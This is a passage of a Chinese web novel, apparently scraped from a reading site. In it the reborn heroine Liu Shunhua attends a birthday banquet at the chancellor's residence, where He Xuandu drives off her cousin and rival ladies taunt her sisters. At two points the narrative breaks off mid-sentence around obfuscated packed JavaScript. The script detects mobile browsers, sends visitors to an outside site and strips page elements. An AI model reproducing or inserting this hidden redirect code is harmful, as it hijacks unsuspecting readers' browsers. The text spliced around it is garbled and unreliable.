黑鸡视线受阻,脚步开始混乱。 花鸡见机会来了,对着黑鸡一番痛啄。 黑鸡最终不堪其苦,败下阵来。 锣鼓敲响,这场,花鸡胜了。 贺玄度得意洋洋地看向柳舜华,“怎么样?” 柳舜华点头,“蓄力而发,不错,你很有眼光。” 来到第三场,决胜局,围观之人屏息以待。 黑鸡已被清理了伤口,上了药止血。再上场时,依旧神气活现。 鼓声一响,不等黑鸡进攻,花鸡竟一反常态,横举利爪,先攻击了起来。 黑鸡被花鸡的彪悍震得有些发懵,不自觉退后几步避让。 待反应过来,黑鸡不甘示弱。 两鸡来来往往几十个回合后,黑鸡因消耗过多,渐渐体力不支。 黑鸡似是知晓不能继续缠斗,仗着体型,不断将花鸡逼至角落,对着它的后背猛地啄上一口。花鸡受限于形势,只能不断龟缩在一角。 柳舜华看得心惊,若是 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柳舜华午膳吃得少,这会早饿了,加上又好这口羊汤,很快便喝个精光。 贺玄度静静地看着她,她吃饭的样子谈不上端庄,但也绝不至于粗俗,就是……极其认真,认真到让人以为她面前的是世间绝无仅有的美味。 “你为何会与我一同看斗鸡?”贺玄度垂眸搅动着汤匙,“你不觉得我就是个没用的纨绔?” 柳舜华放下汤匙,抬头看着贺玄度,“初次相见,你说要看斗鸡时,我的确觉得你纨绔,可慢慢地我就想通了。” 贺玄度:“想通了?想通什么?” 柳舜华想了一下,“就比如我,我从小就喜欢做些小玩意。在有些人眼里,又何尝不是奇技淫巧,上不得台面。” 她凑近一些,笑道:“所以说,你会觉得,我很纨绔吗?” 贺玄度轻笑一声,“这算哪门子纨绔,做做小玩意,取悦自己而已。” 柳舜华笑道:“对啊,可见凡事只要不过于沉迷,张弛有度,有些爱好,虽不被人接受,倒也不算什么坏事。” 贺玄度抬眸,“那怎么算不过度沉迷?” 柳舜华迎上他的目光,“我原以为,你日日留恋斗鸡场,是贪图享乐。可今日一看,你却并不像那些斗鸡客一样痴迷。方才斗鸡之时,我瞧着你还没我上心呢。贺玄度,你去玩斗鸡,到底是为什么,是真的喜欢,还是只是无聊,来打发时间?” 贺玄度愣了一下,没想到她会这么问。 烟气缭绕中,他神色模糊不清,柳舜华却感觉到莫名的哀伤。 贺玄度喃喃道:“为什么,哪有那么多为什么。反正无论我活成什么样,也不会有人在意。” 柳舜华好像有些懂了。 上辈子,她从老夫人那里,听到过一些贺玄度小时候的事。 贺玄度自幼得母亲亲自教养,一向聪慧伶俐。 兄弟姐妹同在一处听讲,他总是比别人学得快些。 可父亲却从未夸过他,反而是对贺玄晖偏爱有加,赞他端正知礼。 贺玄度不服,读书愈发卖力,以期能引起父亲的注意。 可不管他如何努力,都只换来贺丞相冷冷一句:切勿自傲。 后来,其母病故,贺玄度无依无靠,更不得丞相欢心。 在老夫人膝下养了几年,与贺丞相关系愈加疏远。 幼时的贺玄度,一直想得到父亲的肯定,这几乎成了他的执念。 所以当他意识到,无论如何都不会被父亲正眼相看之时,便开始放纵自己。 见柳舜华久久无语,贺玄度很快收起情绪,转而幽怨道:“柳舜华,难道你看不出来我在伤感?好歹我也请你吃了羊汤,你也不安慰我两句。” “我在想方才的斗鸡,一时走了神。” 柳舜华连声致歉后,又问:“贺玄度,你说它们为什么会斗?” 贺玄度懒懒看着她,“自然是为了赢啊。” 柳舜华摇头:“为谁赢呢?若是为人,它们是鸡,人赢不赢于它们毫不相干;若是为自己,可无论输赢,它们最后的下场都一样,皆是他人盘中餐。” 贺玄度微微有些诧异,他从未想过这个问题。 “最初,它们只是相互试探,并无多大斗志。可鼓声越响,人群叫得越欢,它们便斗得越凶。”柳舜华道:“你说,为了那些毫无用处的呼声,将自己弄得千疮百孔,真的值得吗?” 贺玄度怔愣地看向柳舜华,明明他什么也没说,可她却好像什么都懂。 “贺玄度,你不用得到任何人的认可。”柳舜华说得无比肯定,“你可以,为自己而活。” 21. 第 21 章 天气日暖,海棠花开得正艳的时候,相府迎来老夫人的寿辰。 贺玄度晨起,推开窗,正对上院中的西府海棠。 深绿之间,花开秾丽,芳华尽显,娇若美人。 他莫名想起了柳舜华。 当日斗鸡后同柳舜华分开,晚上他辗转一夜。 脑海中反反复复都是柳舜华的那句“为自己而活。” “公子,衣服熏了一整夜,银纤姑姑调的香,你闻闻怎么样?”洪声捧着衣服进来。 槿紫瑞鹤献寿锦绣袍,红色暗花交领,带着若有似无的香气,在今日这种场合穿,再合适不过。 贺玄度接过穿上,又拿了玉革带系在腰间。 洪声啧啧两声,心道真是人逢喜事精神爽,一向不着边际的公子少了几分纨绔之气后,更显得俊朗非凡。 穿戴好,贺玄度让洪声找来镜子,仔细照了照,又问:“我瞧着如何?” 洪声诧异,公子何时关注起自己容貌来了。 他堆笑道:“公子自是风流倜傥,无人能及。” 贺玄度满意地点头,对着洪声道:“把我给祖母准备的寿礼放好,我出去一下,回来再拿。” 洪声疑道:“少爷,怎么这会要出去,有什么事,你交待我办就好了。” 话未说完,贺玄度早已跑了出去。 马车穿过长街,一路上柳舜华未发一言。 上辈子,因脸上起了红疹,柳舜华并未参加老夫人寿宴。老夫人听闻她生病,直呼事不凑巧,还当着宾客的面,将她夸得天上有地上无,以至相府夫人对她都起了心思。 这辈子,她戴着帷帽,老夫人无从得知其身份。她和贺玄晖的这段孽缘,绝不会从此开始。 柳棠华扭着身子,半趴在窗前,看着街道上琳琅满目的各式物件,待看得累了,才回过身。 “姐姐,你有心事,怎么心不在焉的?” 柳舜华笑了笑,“哪有什么心事,不过是第一次去相府,有些紧张罢了。” 柳棠华拉过她的手,“姐姐长得美,人又聪明,到哪里都会有人喜欢,有什么可紧张的。” 柳舜华被她逗笑了,“你再夸,我就要飘上天了。” 柳棠华嘴甜,“在我心里,姐姐可不就是天上的仙女。” 柳桓安的马车行在前头,柳舜华姐妹下了马车,远远瞧见兄长等在门口。 相府门前挂起了大红绸,就连门前的古柳都包裹得绚丽多姿。赴宴官员往来络绎不绝,车水马龙。一个个奉上拜帖,寿礼不断往内抬。 这几日柳大人突犯头疾,今日只由柳桓安带着两人。 喜庆的氛围让人格外放松,柳桓安今日显得格外神采飞扬。 他笑着嘱咐道:“棠华,今日人多,待会进去可莫要乱跑,要听舜华的话。” 柳棠华娇嗔一笑:“兄长莫要看不起人,这种场合,我知道分寸的。” 柳桓安拍着她的头,“好,是兄长说错话了。” 三兄妹有说有笑,正欲进门,便听到了他们最不想听到的声音。 “兄长,姐姐,等等我。” 柳蔓华提着裙摆,一路小跑朝他们而来。 三人面面相觑,她怎么来了? 这下有些麻烦了。 若是在柳府门口还好,柳舜华大可寻了由头将她打发。可这会在相府门口,人多眼杂,稍有不慎便会令柳家颜面尽失。 投鼠忌器,她这步棋,走得实在是高。 柳蔓华行至三人跟前,笑吟吟道:“姐姐怎么走得这么快,也不知道叫上我?” 柳桓安无奈地看了眼柳舜华,柳蔓华是女孩子,他作为兄长,实在不好开口叫她回去。 柳蔓华什么品性,还有她此行的目的,柳舜华再清楚不过。 这里可是相府,今日朝中高官显贵皆在,兄长要应对贺丞相,贺容暄又与她颇有嫌隙,绝不能出乱子。 柳舜华不动声色道:“蔓华妹妹,怎么相府也向你们下了帖子?” 柳蔓华脸色一沉,随即又换上了笑脸,“姐姐这是说得哪里话,什么你们我们的,咱们柳家自是一体。” 当初祖父母亡故,父亲掌家,婶母觉得事事被压一头,撺掇着叔父分了家。分家之时,叔父厚着脸皮拿走家中大半钱财,仅留下个旧宅子给他们。这些年,看着父亲从部丞做到大司农丞,渐渐积攒一点家业,他们便又想着法子过来搜刮。父亲作为兄长,疼惜幼弟,他们非但不知感恩,反以为他们柔善可欺。如今两家分开已经十余年,她竟还厚着脸皮说两家一体。 柳棠华翻了个白眼,小声嘟囔着:“这会倒是一体了。” 毕竟是在相府门前,柳舜华到底给她留了几分面子,“蔓华妹妹,此前我已经回帖,柳府只有我与棠华来寿宴,带上你恐多有不便。” 柳蔓华却是一笑,上前挽着柳舜华的胳膊,“姐姐,多带一个人而已,还不是大哥哥一句话的事。咱们已在这站了许久,也该进去了。” 柳舜华心内一叹,柳蔓华实在是难缠。 为了借机觅得良人,她真的是什么都做得出来。 “柳舜华。”熟悉的声音响起。 柳舜华抬头望去,正是贺玄度。 贺玄度今日虽穿戴依旧隆重,装饰却素淡了许多,连带着眉宇间的狂放与傲慢都消减几分。他脸带笑意,春光之下,倒有几分萧萧君子气。 柳舜华怔怔地瞧着他走过来,恍惚又看到了上辈子那个清俊超逸的贺玄度。 贺玄度走近才看到柳桓安,对着他道:“柳兄好。” 柳桓安见他直呼妹妹的名字,心中已有几分不满,自然不会给他好脸色,只是淡淡点头,“贺二公子。” 贺玄度转身走到柳舜华跟前,装作不熟的样子,客气道:“柳小姐你们怎么不进去?” 柳舜华趁机扒开柳蔓华的手,笑道:“在同妹妹说些话,正要进去呢。” 柳蔓华方才听到柳桓安叫他贺二公子,已经知晓他的身份。 她忙跟着行了礼,捋了捋鬓边的头发,娇声道:“贺二公子好。” 贺玄度却是看都不看一眼,只向着柳舜华道:“我听说,此次柳府只来两位女眷,不知哪个才是你亲妹妹。” 柳舜华会意,拉过柳棠华,“这个是我妹妹,棠华。” 柳蔓华不死心,在旁插嘴道:“贺二公子,我是舜华姐姐的堂妹,蔓华。” 贺玄度漫不经心地转过头,语中满是嫌弃,“不好意思,这位柳小姐,你是什么人与我无关,我压根不想知道。” 柳蔓华还是第一次被人如此当面奚落,一时难以自持,登时眼圈泛红,落下泪来,哭得梨花带雨。 她这一哭,哭得柳舜华都无可奈何。 丞相府门前人来人往,他们一行人站在这里已是十分打眼,她又在这里哭了起来,惹得宾客纷纷侧目。 柳舜华憋着一口气,闷闷地发不出来。 柳桓安素知柳舜华不喜这个堂妹,他也觉得她有些矫揉造作,可任由她在相府门前哭着,也不是回事。 他正想着要如何开口,便听到一声轻哼。 贺玄度脸色冷了下来,“柳小姐,你什么意思?来相府捣乱的吗?” 深邃的桃花眼中覆了一层寒霜,带着威压,让人不敢直视。 柳蔓华被吓了一跳,立时收住哭声,咬着嘴唇,垂下眼眸。 贺玄度瞥了她一眼,“柳小姐,今日是我祖母寿辰,你这样当面给我们相府找难堪,是在挑衅吗?” 柳蔓华惊恐抬头,忙道:“不是,不是,贺二公子,你误会了,我……” 贺玄度冷冷地打断她:“既然不是,那就有多远走多远。我告诉你,你已经得罪了本公子,我不想再看到你,听懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863685|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 柳蔓华又怕又委屈,目光转投向柳桓安。 柳桓安转身招呼车夫过来,“蔓华小姐不舒服,你送她回去吧。” 柳蔓华心有不甘,恨恨地望着柳舜华。 站了片刻,她心一横,甩开帘子,钻进马车。 贺玄度见人走了,转身向柳桓安笑道:“柳公子,请。” 柳桓安兄妹由贺玄度引着,进了丞相府。 柳舜华一踏进院内,胸中止不住一阵憋闷,压得她喘不过气。 上辈子那些过往,梦境一般不断在脑海中闪现: 欢喜的鼓乐声中,她被八抬大轿抬进府。 贺玄晖的冷言冷语,婆母姑嫂的冷嘲热讽。 熊熊燃烧的大火,灼热蚀骨的窒息感…… “柳小姐,当心脚下。” 清亮的嗓音穿过一世的光阴,将往事击碎,浇灭了心头的灼热与不甘。 柳舜华回过神,才发现已经进了内院,要跨一步台阶。 她冲着贺玄度一笑,“多谢贺二公子提醒。” 柳棠华拉了下柳舜华的衣袖,低声道:“姐姐,这贺二公子真不错,长得俊又细心,人也好生厉害。” 柳舜华疑道:“厉害?” 柳棠华点头,“对啊,你看方才,他三言两语说得蔓华姐姐都无从招架,真过瘾。” 上辈子贺玄度总是不争不抢,清冷淡然,从不与人费口舌功夫,相府像没有他这个人一样。 而如今的贺玄度,但凡不痛快,嘴上从不饶人。 柳舜华笑了笑,在贺家,他这样也挺好。 贺玄度耳朵灵,将两人的话听得个大概,听到有人夸他,愈发抬头挺胸,健步如飞。 “果然,像蔓华妹妹这样扭捏作态的娇小姐,就需要个疯疯癫癫的纨绔来治。”柳棠华眉飞色舞地加了一句。 贺玄度脚步一滞,眉头深锁,这是夸他还是骂他。 柳舜华轻轻掐了把柳棠华的手臂,示意她住嘴,“瞎说什么呢,别乱说。” 柳棠华朝她做个鬼脸,乖乖跟在身后。 柳桓安边走边道:“真是不好意思,要劳烦贺二公子亲自带路。” 贺玄度摆摆手,目光有意无意地瞥过柳舜华,“我也是碰巧经过门口,顺道而已。” 宴席设在相府东苑,几人踏过几道门,不知转了多少圈,一路亭台楼阁,张灯结彩,寿乐不绝。 临到女眷宴席上,远远瞧见宾客们三三两两,谈笑风生。 贺玄度将他们送至此处,向三人拜别,便先行离去。 柳舜华望着远去的贺玄度,颀长的身材,清瘦挺拔,悠然穿过水榭,风带起他的衣袍,墨发束起,愈发衬得整个人清爽利落。 挺直的脊背,清朗雅致,流水般清冷,皓月般温润,分明就是前世的贺玄度。 她一时有些怔愣,许久才缓缓收回目光。 “公子,可算找到你了。绿玉不知道怎么了,喂它东西也不吃,看起来病恹恹的。” 洪声提着绿玉,脚步生风,一溜烟地跑过来。 尚未走出水榭的贺玄度顿住脚步,忙伸手去摸绿玉。 手还未碰到,只见方才还懒洋洋的绿玉,眼里冒着光,扑腾着翅膀朝对岸飞去。 宴会上的宾客齐齐望过去。 在众人惊诧的目光中,绿玉稳稳落在柳舜华肩头。 贺二公子的鹦鹉,似乎与这位小姐极为熟稔。 又想到方才两人一起过来,再望向柳舜华时,在场宾客眼中明显多了几分暧昧。 柳舜华咳了一声,不动声色地推了推绿玉,绿玉抓紧她的衣衫,依旧岿然不动。 柳棠华看到绿玉,欣喜不已,方想张口,眼一瞥,瞧见身旁的兄长眉头紧蹙。 柳桓安面色凝重,对着走来的贺玄度道:“贺二公子,这是你的鹦鹉?” 22. 第 22 章 贺玄度明显感觉到一股杀气。 他很想否认,但他整天提着绿玉晃悠,绿玉又聒噪,在座的都是常客,几乎没有人不知道它。 他只得硬着头皮笑道:“没错,是我的。” 柳桓安脸色难看到不行,这个纨绔子,竟将主意打到舜华头上了。 凭他也配! 柳舜华看着脸色铁青的兄长,本来还想笑一下让自己看起来更自然,然而嘴角动了几下,愣是没笑出来。 洪声一瞧氛围不对,自知闯了祸,灵机一动,满脸堆笑朝着柳舜华走去。 “这位小姐,您也在啊,可真是太巧了。” 柳舜华眉头微微挑起,洪声这是什么意思? 不等柳舜华回答,洪声又对着贺玄度道:“公子,您还不知道吧,前几日绿玉走失,就是这位小姐帮忙找回的。” 贺玄度很快反应过来,忍不住想给洪声鼓掌,总算靠谱一回。 他忙笑道:“绿玉能够被寻回,原来多赖柳小姐帮忙。柳小姐大恩,定当相报。” 众人一听,都说贺玄度爱这鹦鹉如命,果不其然。 柳小姐不过是帮忙寻回,这都算大恩了? 柳桓安脸色终于有所缓和,原来如此。 虚惊一场! 贺玄度小心翼翼地绕过柳桓安,走到柳舜华跟前,对她肩头绿玉道:“绿玉,滚回来。” 绿玉懒洋洋地打着哈欠,压根不听他说话。 贺玄度低声威胁道:“再不回来,你信不信,我把你那些吃的全拿去喂狗。” 绿玉一听,挥着翅膀朝贺玄度扇过去。 贺玄度一把抓过绿玉,紧紧捏住它的嘴,生怕它再乱叫。 洪声跟着贺玄度后面,一溜烟跑了。 待出了水榭,贺玄度一巴掌拍在洪声背上,“好小子,干得漂亮,你终于开窍了。” 洪声心有余悸,他可不想再因为柳小姐吃糖人了。 柳桓安看着贺玄度离开,转头对上柳舜华,“蓁蓁,那个鹦鹉怎么回事?” 柳舜华只得顺着洪声的话道:“鹦鹉是我在集市上买的,原不知道是贺二公子走失的。前几日,它自己飞了出去,我去寻它之时,碰到了洪声,就是贺二公子的侍从,便还给了他。” 虽是一场误会,柳桓安到底有些不放心,“日后再碰到这位二公子,离他远一些,不然再出现这样的荒唐事,岂不是要连累你的名声。” 柳舜华不住点头称是。 看她如此乖巧,柳桓安总算放下心来,又细心嘱咐道:“我要去旁边的良园,你们好生在这里待着。等宴会结束,我来寻你们。” 柳舜华点头,“兄长放心,我会照顾好芊芊的。” 柳桓安想了想,又低声道:“那个,贺小姐……” 柳舜华笑了笑:“兄长,我不是小孩了,会自己应付的。何况,女子之间,哪有那么些利益纠葛,没事的。” 柳桓安这才放心离开。 柳舜华两人还未落座,左右贵女便同她们攀谈起来。 “两位妹妹瞧着眼生,不知是哪家的?” “方才那位,是你们兄长吗?” 柳桓安俊逸绝伦,端方有礼,每次出现,总能引得小姐妹们问东问西。 柳棠华无比自豪,仰头对众人笑道:“我们是城西柳家的,我兄长是新晋的鸿胪寺丞。” 鸿胪寺丞,官职倒是一般,可经不住柳桓安实在俊美,贵女们热情不减。 “如此年纪,能得丞相府相邀,可见柳大人必是有不凡之处。” “是啊,能得相爷赏识,想必将来定是前途不可限量。” “有其兄必有其妹,两位妹妹瞧着像是从画里走出来的一样,真叫人喜欢。” “可不是嘛,你们这一进来,满庭的春色都被压下去了。” 贵女们觉得单说柳桓安有些露骨,顺带着连她们两人一起夸了个遍。 柳舜华笑着一一作答,又与她们寒暄几句,这才缓缓落座。 众人惊叹,她不过是小门小户出身,又如此年纪,竟这般举止有度,气度不凡,便是她们出身世家,也未必比得过。因此,对她喜爱又多了几分。 上辈子被禁锢在这座宅院,虽说平日里无人理会,但凡相府大小宴会,她作为相府长媳,还是要参加。这种场合她见得多了,应付起来自然得心应手。 待两人坐下,柳棠华兴奋地盯着面前的各色果子,眼巴巴地看着柳舜华。 老夫人寿辰一向往来宾客不绝,寿宴开得晚,怕宾客们饿坏肚子,相府总会提前备好干果点心,以供宾客餐前享用。 柳舜华笑笑,轻声道:“吃吧,没事,这就是给客人备的。只是,你记得不要全吃完,不然空着不好看。” 柳棠华点头,专心吃起了果子。 离开宴尚早,此时老夫人还未出来,丞相夫人与贺容暄也未现身。 这个时辰,有头有脸的主母们多半提前去了后院去行礼,此时宴上多是一些年轻的女眷,显得格外随意些。 “你猜,我方才在门口看到了谁的马车?” “谁啊,架势还能大得过丞相府不成。” “刘妉柔。” 柳舜华手中的茶盏微微一抖。 刘妉柔,贺玄晖放在心尖上的意中人。 曾经横亘在她与贺玄晖之间,怎样也无法绕不过的女子。 尽管她对贺玄晖早没了感情,但再次听到这个名字,心中难免还是有些波动。 一旁有人问:“我听闻平阳王府与相府一向不对付,怎么相府也下了帖子?” 有人轻笑,“哪里是下了帖子,郡主她这是不请自来,没有进门,只是马车停在外面。” “那就奇怪了,相府未请,她一个郡主,何必惹这种流言?会不会只是平阳王府的马车,碰巧路过而已。” 有人轻笑道:“方才我进来时,正巧看到马车帘子掀开一条缝,坐在里面的好像就是妉柔郡主。” 有初到长安,不明所以的,听她们语气似乎有些故事在里头,按捺不住,“好姐姐,你们快说说,这里头有什么我不知道的。” “也罢,反正这也不是什么隐秘。一直就有流言,说这些年妉柔郡主与相府大公子两情相悦。只是碍于两家关系,才一直拖着。这不,眼瞅着大公子到了适婚的年纪,相府夫人开始张罗起了婚事。我猜啊,郡主多半是坐不住了。” 柳舜华没想到刘妉柔会突然出现,看来她一定很喜欢贺玄晖,才会为了他,连名声都不顾。 她正想着,转眼瞥见众人纷纷起身,原来是贺容暄先到了。 柳棠华望着来人,悄声惊羡道:“她就是相府小姐啊?” 柳舜华点头。 贺容暄生得美艳,眉若远山黛,一双凤眸带着张扬,圆润的脸上肌肤细腻,宛似一朵富丽的牡丹花。今日又特意穿了茜色团花曲裾袍,外罩一件霞光襌衣,风姿绰约,明艳异常。 她笑着向众人示意,“都是自家姐妹,不必客气。” 说罢便朝前排走去,经过柳舜华身侧时,有意无意地瞥了她一眼,倒是跟在她身后的李舒君朝她笑了笑。 这时有人道:“贺小姐,怎么还不见老寿星出来?” “是啊,我们都等着向老寿星贺寿呢!” 老夫人和善,对待晚辈一向温和,世家贵女常来走动的,都对其敬重有加。 贺容暄笑吟吟道:“你们急什么,祖母在后堂陪着各家夫人们说话呢。待会过来,有你们磕头的机会。” 几人跟着打趣:“只要老寿星喜欢,多磕几个又何妨。” 贺容暄笑着仰起头,扫了一圈,目光落在柳舜华身上片刻,缓缓移至桌上的点心上。 “柳小姐,这是来得匆忙未用早膳,还是没有见过这些,一时忍不住了?” 柳棠华特意听了柳舜华的话,每盘只拿了一个点心果子,原也不明显,可贺容暄还是发现了。 她这么一说,众人目光纷纷投过来,盯着两人打量。 老夫人随和,以往柳舜华帮忙操持寿宴之时,女眷们也都不至于拘着。 开席前吃一两块点心,本也无伤大雅。 但贺容暄刻意引来众人关注,多少还是有些令人难堪。 柳棠华手中还捏着的果子忙缩进袖中,一时无措。 她抬眼看着柳舜华,一副犯了错的样子。 柳舜华拍了拍她的肩膀,抬头灵巧一笑,“贺小姐真是目光如炬,这才吃了两个果子,就被你逮到了。” 众人听罢,一个个捂嘴笑了起来。 李舒君也忍不住看向柳舜华,这个柳小姐,当真有意思。 贺容暄暗讽她上不得台面,她却也不恼,只一句话便巧妙化解,既回击了贺容暄,直指她小题大做,又语气俏皮,让人挑不出错。 贺容暄笑容一僵,随即道:“柳小姐说笑了,这些点心果子我们相府有的是。不过是些寻常之物,柳小姐若是喜欢,放开了吃便是,我们相府管饱。” 贺容暄身旁的贵女会意,附和道:“想来是小门小户的,平日里没机会来相府啊,今日可不是要吃饱喝足,才不枉来上一回。” 这话说得着实过分,柳棠华实在听不下去。 她到底年纪小,受不得气,立时站出来怒道:“你说什么呢?我们今日来,是相府下的帖子。我们真心实意来贺寿,你们却屡次出言奚落,真当我们都听不出来吗?” 她直向贺容暄,“贺大小姐,这便是相府的待客之道吗?” 贺容暄被她当面抢白,气得指着她怒道:“你……你放肆,这里是相府,岂容你在此撒野。” 柳舜华将柳棠华拉在身后,望着上位的贺容暄,“舍妹年纪小,心直口快,不过就是几句宴席间的玩笑话,贺大小姐何必动怒。何况,今日是老夫人的寿宴,大家都是欢欢喜喜来贺寿,还是莫要让这些不快传出去,惹得有人胡乱嚼舌根才好。” 贺容暄挑衅抬眸,好个柳舜华,竟敢威胁她? 正僵持不下,突听一声“老夫人来了。” 众人哗啦啦地起身,静候老夫人。 老夫人被人搀着,迈了进来,灰白的发丝透着柔和的光,一脸慈悲。 柳舜华眼眶微润,随着众人行礼,待落了座,才瞧见老夫人身边之人。 左边那位看起来四十左右的年纪,风韵犹存,一身锦绣,珠光宝气,正是丞相夫人陈氏。右边站着的,是位年轻貌美的妇人,柳舜华并不认识。 柳舜华有些伤感。前世,这种场合,陪在老夫人身边的都是她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时陈氏未婚生子,为免惹人非议,便将贺容华寄养在乡下。 这一放便是十年,直到陈氏坐稳丞相夫人之位,贺容华也到了成婚的年纪,才被接回。 被接回相府不过半年,贺容华便嫁给宣平侯世子。 之后不知发生了何事,就在柳舜华嫁入相府不久,本就同相府疏远的贺容华,彻底与相府断绝了往来。 所以上辈子,柳舜华从未见过这位大小姐。 贺容华此话一出,丞相夫人脸色顿时沉了下来。 她最爱面子,如今被当场撕破遮羞布,哪能不气。 可偏偏是自己的亲女儿,她又亏欠良多,不得不拼命忍下去。 这个大女儿,就是她命里的克星,总是时刻提醒她那段不体面的过往。 见老夫人与贺容华都如此说,众人哪里还顾得上其他,纷纷拿起面前的葡萄软糕,不管喜不喜欢,先交口称赞起来,一个个吃得喜气洋洋。 柳棠华方才憋在心中的闷气一下散了,脸上终于有了点笑意。 柳舜华眼光一瞥,见贺容华正举着葡萄软糕向她微笑示意。 不知道是不是错觉,柳舜华总觉得,贺容华有意在帮她解围。 贺容暄气得不轻,碍于祖母在场,也不好发作,只恨恨地盯着柳舜华。 老夫人目光望向柳舜华,若有所思。 半晌,她指着柳舜华问道:“你是哪家的?” 柳舜华起身,回道:“城西柳家,新晋的鸿胪寺丞柳桓安,是我兄长。小女名柳舜华,今日携舍妹柳棠华来为老夫人贺寿,愿老夫人福山禄海,日月昌明。” 老夫人笑着点头,仔细端详了一会。 的确是个模样极好的姑娘。 一件浅缥衣裙,一根绿松石发簪将发丝挽起,虽是清清淡淡,却更衬得肌肤似雪,仙姿佚貌。整个人静静地立着,神态从容,一双眸子干净明亮,秋水般澄澈。 老夫人赞道:“柳舜华,人如其名,长得也好。” 又向着众人道:“今日真是有福,有这么多水灵灵的丫头陪着我。” 众人心喜,围着老夫人说笑了好一阵,才等到开席。 一时间金碟玉盏堆满桌,百味佳肴齐飘香。 因着点心果子之事,柳棠华面对满桌的美味,也只是略微夹了几口,生怕再给柳舜华惹事。 柳舜华捡她喜欢的,给她夹了一些,安慰道:“没事的,放心吃,有老夫人在,没人敢惹事生非。” 柳棠华这才放心,放开吃了起来。 老夫人今日高兴,喝了几杯酒,闲坐了片刻,酒意涌上来,到底有些精神不济,便要起身离席。 丞相夫人忙上前去扶:“母亲,我陪您回去歇息吧!” 老夫人淡声道:“你是主家,哪能就这么走了,这些宾客还劳你照看呢。” 说罢,便由人搀着离开。 走至柳舜华跟前,老夫人突然停住了,对着柳舜华道:“柳小姐,若你不嫌弃,还有劳送送我这个老太婆。” 柳舜华惊诧抬头,对上老夫人那双古沉的眼眸。 她知道,老夫人已经认出她来了。 23. 第 23 章 柳舜华起身,看了看棠华,若留她一人在,她着实有些不放心。 老夫人看穿她的心思,对着身侧的嬷嬷道:“这位小姑娘瞧着很喜欢吃糕点,你带她去点心房挑一些,留着她们回去路上吃。” 柳棠华一听,双眼放光,望向柳舜华。 得了柳舜华首肯后,迫不及待地跟着嬷嬷离开宴席。 时隔多年,柳舜华又一次握上了老夫人的手。 那双手已经不太柔软,可却依旧温暖,让人心安。 柳舜华垂眸,极力忍着,不让自己掉下泪来。 她搀着老夫人一路离开宴席,待行至僻静处,老夫人脚步不觉慢了下来。 老夫人示意跟着的老嬷嬷离得远些,这才开口:“姑娘,那日在街上,救我的是你吧。” 柳舜华早猜到老夫人认了出来,遂笑道:“老夫人好眼力。” “生死关头,眼睛自然看得清。”老夫人携了她的手,“此前我虽有心酬谢,却苦于不知去何处寻你,又怕你有什么顾忌,便就此作罢。如今倒好,你上门来,反倒让你在这里受了委屈,真教我过意不去。” 柳舜华摇头,诚挚道:“老夫人方才已经帮我说了话,哪里受什么委屈了。能再次见到老夫人,我心底不知多欢喜呢。” 老夫人拉着她的手,越看越欢喜,这么好的姑娘,她真恨不得天天有她陪着。可惜啊,终归不是自家的姑娘。 “你那日可是有什么难处,不便向外吐露?若是有为难之处,大可说于我听,我虽说一大把年纪,不太中用了,但到底还是能说上话的。” 柳舜华不知要如何与她解释,又怕拂了老夫人的好意,只道:“老夫人放心,我一切都好。只是我有一些不足为外人道的因由,那日外出之事,不想被人知晓。” 老夫人懂了,便也不再追问,只道:“你既不想说,我自不会勉强。我还是那句话,以后若有为难之处,可随时差人来找我。” 她一下红了眼眶,拼命忍下眼泪,垂首点头。 今日一别,此生只怕再难相见。 拜别老夫人,柳舜华拒了相送的婢女,一路落落寡欢,独自返回宴席。 再一抬头,才发现走错了地方。 她这个方向,正是往西竹院的去向。 恍恍惚惚,她竟又以为还是前世,下意识地朝西竹院走。 她顿住脚步,抬脚便匆匆离开。 方走几步,便听到阵阵舞乐之声,透过一带稀疏的花枝,正瞧见隔岸良园内,十几个乐女抚弄着琴弦古筝,起舞蹁跹,以助酒兴。 她这才记起,今日男宾设宴在良园。 若是被发现,只怕有些不妥,她正欲离开,却在看到一道熟悉的身影后,停了下来。 宴饮已过半,宴席上一个个推杯换盏,独贺玄度斜坐在案前,独自畅饮。 此时,一个醉酒的男人正眯着眼盯着眼前的舞姬。待舞姬跳至跟前,他突然伸出一只脚。舞姬一时不防,一下跌倒在他怀里。 在座之人纷纷笑了起来。 舞姬慌乱着想挣脱,却是徒劳。 贺丞相端坐在亭内,正与柳桓安饮酒畅谈,权当看不见。 柳桓安眉头皱起,目光不时瞥向远处。 那男人正搂着舞姬动手动脚,忽而感觉脑袋被什么砸了一下,忙撒开手去摸头。觉察到并无大碍,他低头一瞧,才发现砸他的东西竟是一枚青皮果子。 “谁,是谁砸的?”他叫了起来。 这一嚷,周遭立时静了下来,齐刷刷地望向地上那枚果子。 也不知谁那么大胆,眼前这个可是贺丞相的小舅子,丞相夫人最宠的幼弟,陈光祖。 陈光祖出生晚,只略比贺玄晖大十岁,名义上虽是丞相夫人的弟弟,实际却是由她一手带大,便说是儿子也不为过。 他仗着丞相夫人疼爱,这些年在长安横行无忌。不过,他那些乌糟事,多半由丞相夫人替他及时善后,倒也没掀起多大风浪。 贺玄度慢悠悠起身,居高临下看着他,“我砸的。” 陈光祖愣了一下,随即恼:“就凭你,也敢砸我?” 贺玄度冷哼一声,“你睁眼看清楚了,这里是贺家,不是你们陈家。” 陈光祖一把推开舞姬,猛地起身,仗着醉酒口无遮拦,“你算个什么东西,贺家是我姐夫姐姐说了算,轮得到你指手画脚?” 贺玄度丝毫不弱,“就凭我姓贺,就轮不到你在这里撒野。” “吵什么,大庭广众之下,也不嫌丢人?” 